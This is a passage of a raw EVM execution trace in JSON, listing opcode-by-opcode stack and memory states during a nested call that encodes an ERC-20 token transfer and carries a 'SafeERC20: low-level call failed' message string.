00000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3107,"op":"SWAP1","gas":28438,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0x0","0xab4dea38af63a9224ad350"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3108,"op":"POP","gas":28435,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3109,"op":"PUSH2","gas":28433,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3112,"op":"DUP8","gas":28430,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc2e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3113,"op":"DUP10","gas":28427,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc2e","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3114,"op":"PUSH2","gas":28424,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc2e","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3117,"op":"JUMP","gas":28421,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc2e","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x200f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8207,"op":"JUMPDEST","gas":28413,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc2e","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8208,"op":"PUSH1","gas":28412,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc2e","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8210,"op":"DUP2","gas":28409,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc2e","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8211,"op":"PUSH1","gas":28406,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc2e","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8213,"op":"NOT","gas":28403,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc2e","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0xc50dfd48a20630e6","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8214,"op":"DIV","gas":28400,"gasCost":5,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc2e","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0xc50dfd48a20630e6","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8215,"op":"DUP4","gas":28395,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc2e","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x14c93ea7ade216529113556eee62d8178e6d2e532dd998b0e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8216,"op":"GT","gas":28392,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc2e","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x14c93ea7ade216529113556eee62d8178e6d2e532dd998b0e","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8217,"op":"DUP3","gas":28389,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc2e","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8218,"op":"ISZERO","gas":28386,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc2e","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x0","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8219,"op":"ISZERO","gas":28383,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc2e","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8220,"op":"AND","gas":28380,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc2e","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8221,"op":"ISZERO","gas":28377,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc2e","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8222,"op":"PUSH2","gas":28374,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc2e","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8225,"op":"JUMPI","gas":28371,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc2e","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1","0x2029"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8233,"op":"JUMPDEST","gas":28361,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc2e","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8234,"op":"POP","gas":28360,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0xc2e","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000